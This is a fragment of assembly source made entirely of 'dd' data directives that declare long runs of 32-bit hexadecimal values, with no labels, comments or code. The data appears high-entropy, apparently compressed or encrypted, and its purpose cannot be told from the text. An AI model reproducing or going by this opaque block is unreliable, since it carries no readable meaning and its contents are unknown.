		dd 68AEA02Fh, 81801F69h, 10532B8Eh, 5AEAC8h, 34D64402h
		dd 0D36C2E7Ch, 0B2564724h, 69780325h, 6E3E4B9Fh, 37250F79h
		dd 0A3BAA19Ah, 2D24DAF9h, 2D8D2F89h, 0CCFF0A85h, 0E5248014h
		dd 2A2505C1h, 8B944DF5h, 8CB9C1ECh, 90FDACC9h, 3DD203Eh
		dd 0EF00014Fh, 94290271h, 5E0F5074h, 8A0C428Fh,	0EB4090D3h
		dd 0A1B620C1h, 6AB760E1h, 54F95970h, 0F090E823h, 955074D3h
		dd 221F86B7h, 4F9D961Dh, 0DA5DF201h, 0B86C6B8Eh, 0E021F6D3h
		dd 0B890F396h, 8EDA5EEDh, 0C01A8861h, 8ED0CC07h, 4AF0E317h
		dd 0C7B9A50Ah, 5AED9542h, 8BEE0F2Bh, 3FB8E9C0h,	1200BA58h
		dd 0A0E171Dh, 5EB8A28Ch, 11B87A3Dh, 54A8B155h, 9529128Eh
		dd 18EDA135h, 334BB6F9h, 6B80FADBh, 0D180CCE7h,	8BB42D69h
		dd 12AB6682h, 3A58E0FBh, 91423E4h, 0F6F2E860h, 0EFCFB300h
		dd 0E1810F1Fh, 0D08B03B5h, 8C25B1Ah, 0B1C3A087h, 416935CAh
		dd 0B94F8286h, 2458D232h, 23182Eh, 0B7D1C281h, 897C68C7h
		dd 260B2EF1h, 0F0A627BAh, 0EC73EA96h, 14C22483h, 79651184h
		dd 5210E7FFh, 500925CAh, 0A5AFF64h, 2F89DDE1h, 3BA69417h
		dd 0C22B580Ch, 6D98F01Ah, 3813C490h, 0AB35A4Dh,	50018C48h
		dd 81D0033Ch, 9345D93Ah, 42238419h, 1EF0852Dh, 67D95CE9h
		dd 9DD0C88Ch, 34031540h, 0D14F3C40h, 317B5D0h, 12ACCF8Bh
		dd 50C4069h, 1C5BF86Dh,	0DCD103E8h, 4D1B5B20h, 121008DBh
		dd 64142E01h, 59CCC8Fh,	8C04C483h, 8B4C5161h, 81100573h
		dd 1418B0A9h, 243359B5h, 85FC3C0h, 0E0B22715h, 50775624h
		dd 93BC6847h, 0A8774DA5h, 7B279530h, 0D3EBBC25h, 5F9B604Bh
		dd 4AC49F89h, 0AF9AB800h, 0F92AE11Bh, 33D802DCh, 9D629391h
		dd 9F404D6h, 0F3BB9F64h, 19900895h, 0E8B138C8h,	0EC042A35h
		dd 0EB3266Ch, 381417F1h, 0B0460920h, 0C925893Dh, 0DEDEA10Ah
		dd 488FF4Fh, 0C65B00A7h, 6612ED9Fh, 787A1D0Dh, 249AC595h
		dd 1818820h, 0EDE8F885h, 0DE26C0A1h, 3C15CDF1h,	0DE0592B1h
		dd 91B40419h, 2E0096DDh, 0CC01DCD6h, 23B35497h,	0DC6CAFF8h
		dd 0EB606280h, 9F091AE1h, 807E08D1h, 8FB8F4B3h,	3DBA0C85h
		dd 29D782E8h, 104ED990h, 0BD717493h, 89494F08h,	8156BD33h
		dd 3B65E88Dh, 73C9EE43h, 97FFB228h, 0C1C7E56Dh,	806EC043h
		dd 4CA40A0h, 2DB52994h,	0DE810009h, 1A1554A8h, 7D27E834h
		dd 5DC8BDEh, 0E18D01E5h, 7D710912h, 4E5331A9h, 1DFA570h
		dd 0A62FC6EBh, 2B1D8D09h, 9CD3B593h, 7546C812h,	0D26EE200h
		dd 0DBDF157Fh, 82A764CFh, 0B87BEA41h, 583DB00h,	0C2BE0325h
		dd 0C1D97506h, 0A7F94E8h, 0F418D29h, 52051377h,	0B89ABD77h
		dd 0CD85501Ch, 0FEBE00E7h, 0E8235667h, 0EF95065Eh, 0FC6F4287h
		dd 22658A40h, 58A94384h, 8C1BB8E4h, 0A252B900h,	0C8A5464Eh
		dd 266F43Ch, 0E85FF78Bh, 9F5E0608h, 28BC00F4h, 7C26C82Fh
		dd 645CACA0h, 0B7C2C00Eh, 0C5C6B52Eh, 485FCF6Eh, 0CD2901B8h
		dd 73C17180h, 24DAA9A1h, 67A09Dh, 0F53AEB03h, 811A1E12h
		dd 6D57B5E8h, 7ADBE61Ch, 41A3120h, 35366BEh, 68E217h, 0DA506123h
		dd 9A3A6Eh, 1A8DC29h, 1A03E192h, 48BD8B2Fh, 6BE8594Bh
		dd 0DE908F6Eh, 1E01CB32h, 7F678B18h, 72933090h,	3896E2D9h
		dd 6FE84031h, 0BDA23F4Fh, 0F29029E5h, 8CB62355h, 3B1AB2A4h
		dd 0E94AC029h, 0D9A0A9DFh, 9B5F6D28h, 0F94C838Eh, 0C7523C9Eh
		dd 1300C524h
		dd 808DDE05h, 9E634A77h, 0F1D31236h, 9C9FF4E9h,	126ADB03h
		dd 0B0581D2Dh, 63C5D26h, 6C53225Eh, 8D20CAC6h, 5160251Fh
		dd 9F38D010h, 5BD92F07h, 3320FF40h, 55F5C19h, 0E861C78Bh
		dd 0D5968CB0h, 2C090F40h, 85D77195h, 0A7049FE8h, 6665A197h
		dd 546E067Fh, 0A54E6608h, 9B2FFDA1h, 71C09F68h,	0B4829C94h
		dd 3225901Bh, 4AAB32CDh, 20DE702Ch, 0A92C2F96h,	26F68012h
		dd 5447CBBh, 0B25751F6h, 0B336006Ah, 2891C685h,	1E5903AAh
		dd 8EC0B9Eh, 335417E0h,	0F8176D71h, 6BB6B05Fh, 312310F1h
		dd 6000F6F9h, 1280F98Bh, 0A86115F5h, 0E96E4F1Bh, 1D5BDF25h
		dd 2721C108h, 0C3209E8Fh, 0D295C5BFh, 11A1144Ah, 80AA9B2Eh
		dd 922A806Fh, 404B79DCh, 8A25EE5Dh, 9D485863h, 80CF7A4Dh
		dd 23CE08C1h, 0BDAB48E5h, 169D7579h, 0F6D82B1Ch, 701AE07Bh
		dd 206BEB49h, 17EC28ABh, 29622707h, 0A5E9F8B4h,	0DB0559F2h
		dd 0BE6F241Ch, 0ADE1252Dh, 0FDDC3B13h, 0D690B55Bh, 0B700243Dh
		dd 0E082D050h, 1C28879Ah, 87D60C30h, 0DCE3AEBCh, 8D17CB90h
		dd 0EDF32D95h, 0F8301DE2h, 36140045h, 26EA8E39h, 0F27AB0Eh
		dd 0A0C486h, 0BE1A89F1h, 5D07294Eh, 42D185ABh, 707DEC04h
		dd 1278563Ch, 5DA1559Dh, 0E01D969Fh, 26800F25h,	934AF976h
		dd 9C3C7825h, 297DE4B0h, 99805D8Bh, 0D2FAB7B8h,	1C510D03h
		dd 1BC88B7Eh, 5B2075B2h, 19D449B2h, 87F91025h, 8E29038Ch
		dd 9D9F761Ah, 0A20158E0h, 21EA1B01h, 0FFB531B0h, 0A860E098h
		dd 75820719h, 363D2F90h, 8A7CB004h, 0C280A491h,	0A0899F42h
		dd 4A5EC8A8h, 624FC861h, 0B7DC3E00h, 0F3AAFA18h, 8A630316h
		dd 0DDC5891Eh, 628BFD3Eh, 5315E1B8h, 583AD08Eh,	0DEA0FE0Fh
		dd 591C90Ch, 266B1A70h,	0E0CDA900h, 3467FA3Fh, 85A0DF28h
		dd 0D915C92Bh, 40276DADh, 56FDEABFh, 36A5EC0Fh,	3125760h
		dd 68C17494h, 0F8FB585h, 0D5C43361h, 2D468826h,	35BE6688h
		dd 0B0E20780h, 34611512h, 0BDB50399h, 883A8165h, 0D6005718h
		dd 862BAC35h, 3802DC7h,	233C3078h, 0C7ED8CD3h, 0ADB51167h
		dd 7E8BAA1Fh, 6D972A77h, 825AE1BCh, 4877360h, 0AC9ACFB8h
		dd 9D60CA87h, 36958B46h, 0CEEF2B29h, 0F6BF0F1Ah, 74837CCAh
		dd 0E001746h, 1FCA6EAh,	12520D8Dh, 2139109Eh, 81BD2905h
		dd 1AE54B28h, 0F270A3FBh, 6619F68h, 590A2320h, 917498E9h
		dd 0D8699332h, 340130E0h, 0E1CE96A6h, 3E0912E7h, 0C4002C6Ah
		dd 8DE53579h, 0D01723CBh, 6AE0837Fh, 14A04C5h, 2621D185h
		dd 95E92FCCh, 10F24E93h, 0BD896581h, 4C47737Dh,	8C18E856h
		dd 7D683906h, 287EE88Ah, 4282241h, 0F162CABFh, 0EC55E872h
		dd 0F1138C16h, 2D13D31Bh, 27A54E04h, 7156291Fh,	0E4181Bh
		dd 438B542Fh, 0B3A1E1Dh, 8015B52Fh, 0A7D78144h,	27DD0BEDh
		dd 92B7C58Ah, 0A8094796h, 2DFEFEA9h, 0FF42AA4Fh, 9B51A9h
		dd 9A91082Ah, 0E40EC6DEh, 4CB5B248h, 8214BE33h,	99D0697Bh
		dd 81468412h, 222021B4h, 0AD4219B0h, 0FB3E62D9h, 276278D8h
		dd 0D12F8702h, 758C0FF8h, 80E64818h, 0D4D2C269h, 41536951h
		dd 97EB370h, 6F55F49Bh,	504E45D8h, 10B1D88h, 652E2753h
		dd 2F9642C7h, 71E7CE90h, 48DB24B9h, 4F1AF671h, 203C2CD8h
		dd 0B4BE1D38h, 88950CD7h, 7DE03215h, 64E0FE8h, 110E926Eh
		dd 368BD33h, 0F2724027h, 0B5CD0A21h, 17D5614Ah,	0C0B89169h
		dd 0F7228005h, 52501ECFh, 5FD8308Bh, 298509F9h,	0CD97EBA4h
		dd 0EA7BE347h, 70028EE8h, 5DB633F2h, 73BC9F40h,	191F832h
		dd 0A2121192h, 0C8A5DD8Eh, 6878488Ah, 6AE4BC16h, 7EF033B6h
		dd 4302B44Ah, 0AFDC9694h, 79B2E0CDh, 3AF5811Bh,	0C34C8BCDh
		dd 5F6F00E6h, 706EF0E7h, 2E1CA93Dh, 5A678D37h, 7025BB99h
		dd 0E596CCF0h, 0F977EB40h, 67BA00E7h, 8117F674h, 0C007B431h
		dd 79731960h, 0BD87B9D4h, 5B022D24h, 0C47D1FFh,	4C601844h
		dd 0A3283045h, 0E317F855h, 0C2A3A20Eh, 80440120h, 0B771FA23h
		dd 0FA022224h, 1AFDB020h, 0ED620043h, 0C39C23B7h, 90CD6ADh
		dd 0A732B1BDh, 20574A90h, 61978F29h, 0E0623C00h, 0BD284ABAh
		dd 3DE904E3h, 0BF5B38A8h, 0BF66CA00h, 590FB4F8h, 6A1E7431h
		dd 48B8C441h, 0CD09BF67h, 0CFDECD90h, 42E7D180h, 31E0E5F6h
		dd 34BD2B8h, 0F158444h,	100F2E1Eh, 9CE9092Bh, 586DDC0Ch
		dd 82823287h, 16B98Eh, 10759D03h, 93889EBEh, 0DF800092h
		dd 536090ADh, 6343AA9Eh, 3957F009h, 190A00BDh, 4116D1A5h
		dd 0CE005C99h, 0BF605A8Fh, 72BB3274h, 0E747074Fh, 1A6140B5h
		dd 860F8696h, 84EC4F06h, 0BA7651A2h, 13266E88h,	2092EC90h
		dd 0CBA5BE1Ah, 9FC0CA4Dh, 269DDEAh, 96D52A95h, 95FE5B3h
		dd 0FB16C2C6h, 8B0F0BD0h, 118999D1h, 6923DE51h,	25DEDB76h
		dd 6350412Fh, 6AA1A395h, 0DDB588FFh, 0F4ABB41Ah, 6A565301h
		dd 7F99D89h, 11351022h,	1690CDDh, 15ED80D9h, 0D10183B2h
		dd 0FD06FFD6h, 68B1C45Ah, 27B0A526h, 0BA007012h, 0E4D522CBh
		dd 0DF0ECF71h, 0CCD42AE9h, 2227E294h, 262E070Bh, 51599ACAh
		dd 0DC7C70A7h, 0B6270F08h, 0C1A399C8h, 2E49C041h, 2FAC893Ah
		dd 9196888h, 0C51F055Dh, 7FC13B89h, 2C00718Bh, 0C82B0333h
		dd 0D8CDD780h, 9C8D0FD1h, 0E9FE42BFh, 516D99D7h, 85A90FFAh
		dd 7C4BFDCBh, 162923E4h, 2027ED8Dh, 360072Dh, 2AE1B516h
		dd 0D86188C8h, 3BD9601Ch, 16FED064h, 93380024h,	0B675D182h
		dd 53510F7Bh, 50842A4Ah, 5B5C76AAh, 84204895h, 65518A3Bh
		dd 8EB1E800h, 984DD3F2h, 0BF72002Bh, 766B1D3Dh,	25A1A583h
		dd 0F5C33FEh, 67658Eh, 2C86AE89h, 0ED240383h, 0C81D9DF9h
		dd 0D80F2DCh, 37E9E1B7h, 12B58DC0h, 0BD0EBDD2h,	589ABC3Ah
		dd 0AB06CA22h, 464D5772h, 4540B4B6h, 0DE0BC0h, 29B74385h
		dd 0DDE124F7h, 0CB7B6E05h, 75AF5301h, 844BDA48h, 180B48Bh
		dd 910713B9h, 0F3E70AE0h, 14FC17B3h, 0D9CF15D1h, 8784E936h
		dd 250865B5h, 0C4AF3659h, 6EC89FB3h, 2B802961h,	0FEE3A0D2h
		dd 0C23318ADh, 83D0B2D1h, 7504E90Bh, 8000B7F4h,	6EA97D41h
		dd 0CE12424Fh, 22089815h, 0F473A791h, 4031FE72h, 880D869Fh
		dd 0B2A91FD6h, 0FA343FB9h, 173520BBh, 51143003h, 7A8CD49h
		dd 77BBE307h, 0EEC9D28Eh, 0B808C47Fh, 0A8F64E3Dh, 6A3BC7E0h
		dd 0FB7F205h, 0E481FBBFh, 5F842049h, 3E01198Dh,	0F9131423h
		dd 0FE0012E2h, 0A02634B0h, 8A00FD36h, 0E5DCD468h, 39505F8Eh
		dd 180DC28Bh, 0E308C103h, 190296A4h, 12405848h,	80C2D77Dh
		dd 2DF72A29h, 0B795EB52h, 0B8F90EA5h, 1A084F11h, 9F72C0Dh
		dd 605B4DD7h, 5B82D0h, 9C066C93h, 0B7AF6654h, 0F680CD99h
		dd 0DE4F3A05h, 81450761h, 80BA8CF3h, 29E1FF39h,	341B512h
		dd 1009F9D1h, 4C807953h, 1910558Bh, 11A5808h, 45F09BD7h
		dd 61D1B70Fh, 81011D48h, 22DB157Eh, 37406380h, 0F2543CFh
		dd 60D1A089h, 0A6EFE280h, 53035C38h, 0DE2BE976h, 0E00C8FE5h
		dd 2BBDA0F3h, 9B604B31h, 2808B8Dh, 919114Dh, 442F99DCh
		dd 0DDC0006Ch, 0C513F8F7h, 4C02B34Fh, 80D4F9F2h, 0D169D1E1h
		dd 7EF51916h, 0A3F457Eh, 0BBD07C9h, 6F60901h, 4D5802DEh
		dd 0D88B3168h, 0DA7DC0C1h, 0DF0FDB0Ah, 0FEED2E33h, 961B3767h
		dd 803DBCBDh, 0A008D39Fh, 3AD00078h, 0D7163F6Ch, 2E02B997h
		dd 8A0BC5C7h, 0E00409DEh, 66500024h, 9C5101BBh,	71063B1Dh
		dd 903CD5D1h, 0D9DAA6CBh
		dd 3FF05ADh, 892A911Fh,	0DF0030F9h, 0D09BA7E5h,	0B474F3D5h
		dd 82B28B09h, 0FEE91977h, 5113EC22h, 0BC00ED5Fh, 97F601F4h
		dd 0C430D0CEh, 7422D73Eh, 40D4960Dh, 766D12AAh,	96A4CCF1h
		dd 34705BDh, 8907718Ah,	7FA81D85h, 503EBF87h, 952934F0h
		dd 12D4554Dh, 5561BE9h,	22999E0Ah, 3915850Dh, 4ED5088h
		dd 1814C71Ch, 0EABB017Bh, 19B58BC0h, 0E1851641h, 49E6FD55h
		dd 0EF0C77E0h, 7B601200h, 32E78135h, 8933736h, 93F09A88h
		dd 1574E489h, 71429B8Ah, 46164428h, 2DFEE1A9h, 285A51ECh
		dd 3EEC414Dh, 2434B1C1h, 0D919D086h, 0D1CB56FFh, 2ACF040Bh
		dd 2506807h, 9B668D09h,	0A7B08701h, 633D792h, 0AF19017Eh
		dd 7E731603h, 0EF0F116Eh, 13C1E92Fh, 2ACDC85Ch,	2609CFCCh
		dd 941C0D85h, 0F1D6ED8Dh, 909ECC76h, 5AB7E4C6h,	54E850E2h
		dd 9B601F72h, 5125286h,	0ED5FF8D9h, 90657683h, 14F1C166h
		dd 4C232659h, 63C02D0Eh, 91AC1BE0h, 0EE0BBFD6h,	7B61D0BBh
		dd 8809712Ah, 9213174h,	0D59B85C7h, 41DF2948h, 31343471h
		dd 18DB18D6h, 0B0416FC0h, 8B90A011h, 0E9BC2297h, 42015C21h
		dd 50010D2Dh, 41300C30h, 1E01E644h, 0B310E8C1h,	4C83020Eh
		dd 295803F1h, 0EBE70D08h, 4DE3636h, 16EE3964h, 29501B33h
		dd 18214028h, 113CD58h,	801B0957h, 0D3BBC0AEh, 0B1346D71h
		dd 51854175h, 24DE3E04h, 0BD0B4B80h, 0DE822011h, 4D85C1B7h
		dd 0D12C041Bh, 453BAF16h, 98D81BAh, 38D5290Ch, 0CA4241E1h
		dd 0D36D291Dh, 8EA6DCC0h, 30AAB819h, 955712E5h,	4F9D083Dh
		dd 0CADC4063h, 0AB271468h, 0A80779BCh, 32D5316Eh, 9611B5C9h
		dd 0BFF1C7BDh, 0F9B70480h, 5C8CBF96h, 0C623BC24h, 0B76FFB1Eh
		dd 3C8E0031h, 94EB05E1h, 99131E2Bh, 211E9524h, 417A7AA8h
		dd 81144DACh, 4981A9EBh, 121D12A7h, 83A0DDA7h, 0BD2A232Bh
		dd 8917AF75h, 64E2C486h, 16BAFE25h, 3FD6215Ch, 6ECEC283h
		dd 0A5B6026Ah, 0C82D9D29h, 1C78121h, 12C26C0Ch,	2A205089h
		dd 0C83759Bh, 32D0B1EDh, 1044E9CEh, 0A641078Dh,	500E5CD9h
		dd 32DD5D21h, 3CD04A0Fh, 4A127643h, 0BAEEE902h,	459ECF0Eh
		dd 0A2B8016Bh, 6AB2211Ch, 278BDA8Ch, 92A4499Dh,	7932B586h
		dd 21B88Eh, 514EC711h, 0A57FBBDFh, 6A302C13h, 9DBC44ADh
		dd 0BE49890h, 1CD1F693h, 3D53FC19h, 5031A01h, 8AB935A5h
		dd 0CFDD807Eh, 0B3B6B2EDh, 1DEB76Ah, 0F36EC510h, 0D498D91Ah
		dd 9D258D89h, 0BF3E2105h, 2C757684h, 0B2DB7842h, 0D4BEDC6Bh
		dd 0F2C82B17h, 0F9F8530Fh, 64C2F5C4h, 21913BC4h, 3B233042h
		dd 27BA2CBFh, 0EA467185h, 0D2913001h, 9A73A4F8h, 63222EFh
		dd 0BDC81ECh, 32C35F1Ah, 0CEB5555Eh, 26AAB01h, 29739BB4h
		dd 2DA00300h, 0BE632AB3h, 2EF32205h, 0EEE20119h, 23F8A700h
		dd 0CBB4326Fh, 0B9C34802h, 46605F82h, 0F5D0EADh, 3280F423h
		dd 85D8EECAh, 0F8319D02h, 0F1EA613Dh, 83AA44Eh,	513F2781h
		dd 736ADEA1h, 0D0B77Dh,	8DCC32D7h, 3FB4870Fh, 0F66EDF45h
		dd 2D091523h, 5ADB8B80h, 8360B7CBh, 0B6CDB6EBh,	0B75B178Dh
		dd 0E74E35CCh, 274D03Ah, 36D8F7F3h, 0F123400Ah,	2028117h
		dd 0F7812021h, 382C133Ch, 0C5080E22h, 0E5D32F2Eh, 16399504h
		dd 0A891C60Bh, 0F08315A1h, 221CECB9h, 0C16193A0h, 0F465E90Eh
		dd 0D38021FFh, 0D6EA8B7Fh, 0FD06DC9Bh, 0C7382E90h, 6169305Ch
		dd 0EC0BEFEAh, 0DBD5BA95h, 0F94951C7h, 24E72503h, 50802FA8h
		dd 12F84E8Ah, 8DD18834h, 2E0937ECh, 0E3DFF435h,	0DE809816h
		dd 20A2B8E5h, 0A4C319E1h, 4F4129BBh, 0E076F622h, 1F26DD6h
		dd 8C3BD170h, 3A27FFBDh, 39BB78D8h, 0AD852B9Fh,	2636F79h
		dd 0F40F587h, 81A9B777h, 0D97379DAh, 0D7C2F527h, 705D417h
		dd 0F6927CA9h, 5CCEA0BFh, 1F20F9F5h, 104119h, 904A9EE7h
		dd 8020E848h, 384C4173h, 95FF2C5h, 9010B350h, 0A470C6D3h
		dd 6B0902Eh, 114C7480h,	6C9448F5h, 895709DCh, 45221B5h
		dd 0DE6DBEh, 3E390603h,	9B90F069h, 0C6E99625h, 0FF3A950Fh
		dd 0D44B7Eh, 0F0A31DC6h, 0CCAA8D8Ah, 85095004h,	0EEAC12A5h
		dd 0A8958493h, 292CA2CCh, 0CC61EB09h, 66900213h, 6C7203DFh
		dd 56365B37h, 21A715A0h, 7AC54B58h, 0B0D2A9BFh,	0FD8D29C5h
		dd 0B747D12Ah, 782C2B0Eh, 0D84041FFh, 501213EBh, 9DB4233h
		dd 559BA580h, 8F500F4Ch, 6613605Ah, 6716F38Bh, 9561A2B4h
		dd 7C90A299h, 59409FC9h, 0ACC1C05Bh, 8F343A97h,	64639FAh
		dd 0E4E6AD25h, 0AC48AE00h, 51DA354Ch, 3900433h,	0AC0961BDh
		dd 24A3A485h, 0E19D3304h, 0A466AC1Fh, 366EEAh, 800B92D3h
		dd 19532CB6h, 0F21FE676h, 84352BDAh, 0CFBBB803h, 0E0BDDD6Ah
		dd 6700D7B8h, 0B2C23DCBh, 98D0D137h, 45299F99h,	1A499082h
		dd 48F438FCh, 0A910B37Ch, 395C6213h, 51915603h,	0CC6E0988h
		dd 8848666h, 22F98D09h,	7F48B017h, 3F46A508h, 465F512Dh
		dd 0E6F512E0h, 0D9980B70h, 0C2C3414Ah, 71E47901h, 9523F960h
		dd 6103927Eh, 3E9BAE56h, 0A59D9947h, 172A4965h,	522313A4h
		dd 2CAAA699h, 2A10A029h, 7F9AFA6Dh, 4A8BB98Ch, 0BDA7D0D9h
		dd 7E8419EDh, 82D844FCh, 844282A6h, 45FDBC50h, 53790128h
		dd 6AF6615Bh, 0E0095F4Ah, 0A7C94A38h, 4221F920h, 819F5013h
		dd 946F63Dh, 5A610833h,	0BC15F3A8h, 0C89C808Ch,	34F08Dh
		dd 0EE7AFDE6h, 0AD656C48h, 60E29813h, 7D00CAA2h, 0F8677EE7h
		dd 0A8008463h, 0CF4F1179h, 0F4EC144Bh, 0B9C80198h, 0E95F6189h
		dd 0F8379290h, 5C005DE2h, 9939BBDDh, 60BE5E4h, 5E0A5B3Bh
		dd 38596B63h, 569D8800h, 6171CCh, 0C13A4FD6h, 0BF7BF266h
		dd 6099FD09h, 10EC5978h, 84138859h, 0C09030BCh,	9156D8BDh
		dd 0F9F5800h, 313D4855h, 20240518h, 9A58372h, 0C1D1FE3Eh
		dd 9C9E200h, 89AD7Ch, 0DB2E454Ah, 4D5C062Ch, 38CB4400h
		dd 0BD331B7Ah, 450D41C9h, 9531ACF8h, 8C0F16E5h,	0FFBFC94h
		dd 0AAC4DF79h, 830AB95Fh, 0ED0EC6BEh, 2AC1D49Bh, 20B0F049h
		dd 10B72547h, 448A0FBCh, 9895FC01h, 7E8D31FDh, 0B0CDDB9h
		dd 0FDEF0DF1h, 75147240h, 0BFFE02FBh, 479BC2A4h, 0B725055Ch
		dd 0C66D0019h, 0D09E75C9h, 0A06E200Bh, 0DC0276FCh, 2E2BD400h
		dd 368D5EA1h, 820EB7C0h, 22240648h, 0D6400211h,	0C02B2761h
		dd 0BB0961B7h, 317D82C9h, 0D22B0210h, 14E5CA40h, 785D5682h
		dd 504ADF80h, 82895E9Bh, 0DB00FC71h, 1673609Ah,	14B800E3h
		dd 9DEE097Bh, 0C0153AECh, 166CB6h, 2DE3A1EDh, 0F3C284h
		dd 4027654Eh, 916C14CBh, 0D011609h, 1C4E9688h, 25099D89h
		dd 0FBA72FC5h, 28235009h, 40231A97h, 820AF9B8h,	9756FA54h
		dd 0DCC0746Dh, 2FF6717Bh, 0BD0953CAh, 2E4F4F41h, 88251E28h
		dd 15259D23h, 1E53EC14h, 0E5D5BD01h, 3A008CEh, 0FF802179h
		dd 0CF8102E1h, 464C20D3h, 0AE51D756h, 6E4ED26Ch, 0B6C10143h
		dd 9E78073h, 9BE8282Bh,	0EFF7044Bh, 0B8E4F6A0h,	0D3059F7Fh
		dd 96E6621h, 12D317EAh,	8DE8A24Ah, 8104712Dh, 60ABD2ABh
		dd 0BE71DD53h, 0C7C6152Bh, 1E5865BCh, 856EC05Bh, 6F0BF953h
		dd 2B808AA1h, 30176FEEh, 9FE96500h, 8A192DD6h, 0E1802FF8h
		dd 40EF2DCDh, 1EAE518Fh, 306C28C5h, 926FB684h, 0ED340757h
		dd 0FB5A195Bh, 0EE02247h, 0B54A98A6h, 0A286F9D8h, 25315623h
		dd 9DECFF46h, 5C02592Eh, 5F0F4942h, 0DB80DB98h,	62DE6A5Ah
		dd 8720FF83h, 62AEE800h
		dd 37D3C468h, 596C861h,	0AF9904BFh, 16BE6BF0h, 284B0CDBh
		dd 144A8B24h, 0E4C01EBDh, 0C93890B7h, 50F6C713h, 5F2568F3h
		dd 19BC8E46h, 511F02DCh, 3A89BD5Eh, 0C419A70h, 17F9F941h
		dd 0DBDB752Bh, 0E6CD87F4h, 4E1026F0h, 66921744h, 0A415128Dh
		dd 2A25E98Ch, 0C07E7E02h, 0D39A04BFh, 6C745501h, 0E27F3F1h
		dd 7294A5E4h, 987D65A0h, 4AABA9F5h, 883E12CDh, 1A002C49h
		dd 9750D47Ch, 0EB4178h,	0C36522F0h, 0C17A5E04h,	6259A617h
		dd 0E54B7B30h, 0CC570043h, 32B8A180h, 4A001D17h, 0DA9DE491h
		dd 97222DA9h, 9400CBE4h, 860D9980h, 0EB1BAC1h, 5F5B88C8h
		dd 5E4FE552h, 0DEFDD671h, 0A96AD54Ah, 7466E8AEh, 29C890B8h
		dd 0A5991335h, 0DAE18F6Ah, 509B7A89h, 0FC5AA7C2h, 916C54Ch
		dd 0CD9191BDh, 0F0140583h, 0BF4B2AF7h, 0B99B8785h, 0E743FC0h
		dd 77947C49h, 218AAC40h, 981A0050h, 14D0D2F9h, 0A7ECB793h
		dd 0D6171500h, 0BB5066F5h, 0D5AD0475h, 0FB348946h, 13009E6Fh
		dd 0C56A6452h, 964C4A70h, 0E2DB2C37h, 0EA12DB3Ch, 104DDB3h
		dd 4021DD85h, 9131577Bh, 80D84B8Bh, 0EDAC84D3h,	0E8836E58h
		dd 0E3008C1Bh, 557D15D5h, 970CC57Eh, 0A8BDC72Bh, 5D33C402h
		dd 0D6045F67h, 8D090206h, 4169747Dh, 15C1A3BFh,	5C836EFBh
		dd 34C45B4Ah, 6A5F668Ah, 0EA080704h, 6246B590h,	6E3D45B8h
		dd 32F1EB04h, 38BB6601h, 0F22D2E52h, 25C9369Ch,	3E1227C7h
		dd 459072BBh, 0F587DF61h, 912E82Fh, 0C5A1701h, 41E948C0h
		dd 0B0C0B72Ah, 0E45A253h, 9D298836h, 5791B49h, 0BF0F05DDh
		dd 2526A8D8h, 0D0E9D319h, 2700B2D2h, 93AD6ED7h,	2EBD897Eh
		dd 70BF0AFDh, 81889E85h, 75BC0AEBh, 5AE318DEh, 4DAFBAD6h
		dd 435EC090h, 0D7287906h, 0BD25CCC0h, 0AF13650Ch, 950E1735h
		dd 373F8463h, 0A2D004BCh, 211AC517h, 2E2B6159h,	1A29675h
		dd 1A983500h, 9A5FECD0h, 4BB3DC00h, 0AFDDA808h,	41C7BA24h
		dd 0FD332B14h, 0A639E0BFh, 6096134Dh, 9C70850h,	0E9A2180h
		dd 133F1697h, 0A1748110h, 807D6CE6h, 0F2D6DA28h, 0F8EAA30Bh
		dd 24506158h, 26EB5653h, 9B961685h, 10E581DBh, 108555F7h
		dd 6197C623h, 6B890FB3h, 7B1A931h, 0A929752Fh, 2FFB861h
		dd 90B5A850h, 1E60E8D6h, 74820509h, 54004E61h, 0E112D6BAh
		dd 104C8348h, 5F2B1359h, 0DE6F26CEh, 3153DD05h,	0DA1CC856h
		dd 4F480E50h, 4B190510h, 18898A8Dh, 6D7B29DDh, 0C7ADEDAFh
		dd 0BA9DD098h, 0FD0B9CE5h, 660AD0E8h, 98719852h, 0EF8296F1h
		dd 0F55AA55Dh, 0F850297h, 0C91B8E8Fh, 89B5518Dh, 6C784E48h
		dd 0C2AECD9Dh, 515E0959h, 0D4D5FCE9h, 7F013F00h, 110D128Ah
		dd 0B7542C7Bh, 7C5E0910h, 53974C78h, 9997D88Fh,	25B1E0A1h
		dd 493B2EE6h, 77001C23h, 0A72ACF48h, 763F3A0Ch,	0E1E2DBh
		dd 37B57944h, 0ADCEAAh,	7592CD73h, 3630529h, 0DD8A9C09h
		dd 5A9A735Bh, 0C86BB938h, 0D94B72B8h, 0DA3B58DDh, 4A6E87B9h
		dd 1CBC7E0h, 33552C8Dh,	6FADA66Eh, 0D1D29CE7h, 30A68EBDh
		dd 0AA0BF0E4h, 0A9EED8B1h, 0C0D14DDBh, 0F8D28C1Ah, 8B7888ACh
		dd 0E6E5DADEh, 81660463h, 0BC9FBDDBh, 0D551A268h, 0FA821B3Dh
		dd 0DCD098DBh, 132910A8h, 981D5096h, 0E19B72Dh,	6206EC6h
		dd 0D3676FBEh, 3384905Ah, 19884CDBh, 0BCF87AC0h, 109B259Ah
		dd 0E4B552E6h, 71A0267h, 1CF19FFAh, 1259CE5Fh, 0B1018509h
		dd 2F435D3Fh, 20E24452h, 0E0F5B64Fh, 90AEC8Dh, 46141552h
		dd 86461B79h, 0ADB7972Fh, 4FCDDE00h, 1C95E9ABh,	6F60A4AAh
		dd 0A62FC464h, 0A765CB9h, 398E2905h, 109D61C0h,	6D4D2Ch
		dd 0E4EA94D7h, 0BFCFE7Ch, 6143BA12h, 8F215EF6h,	27A62C2Ch
		dd 9EA7C697h, 111266A0h, 0DC91920Bh, 1D6402F9h,	7A805E15h
		dd 0E9D9C800h, 4FBFF249h, 8B2141F5h, 0B8072DC1h, 0E18C2EDFh
		dd 4B0B9079h, 9102938Dh, 0B6E2A03h, 2A4050F9h, 6A953E82h
		dd 0DCF0D6CAh, 76F4EE4Fh, 7E92BDE1h, 21479FEh, 51160F45h
		dd 9F74D80Fh, 2C8A97DBh, 11E6DE2Ch, 0DD1DD007h,	60E35172h
		dd 0D0F84489h, 0A3F35C8Ah, 0BA34BF03h, 0DF2F5265h, 3108D901h
		dd 88B0F78h, 38C33D80h,	16D6FCAh, 0DABE4B49h, 302B400Ch
		dd 0E5B501FAh, 93A72EF7h, 82FE9B5Bh, 4177D7F6h,	5EFAE546h
		dd 9078E91Dh, 0FF209C0Bh, 6C71D1h, 44EAF4BAh, 9697267Eh
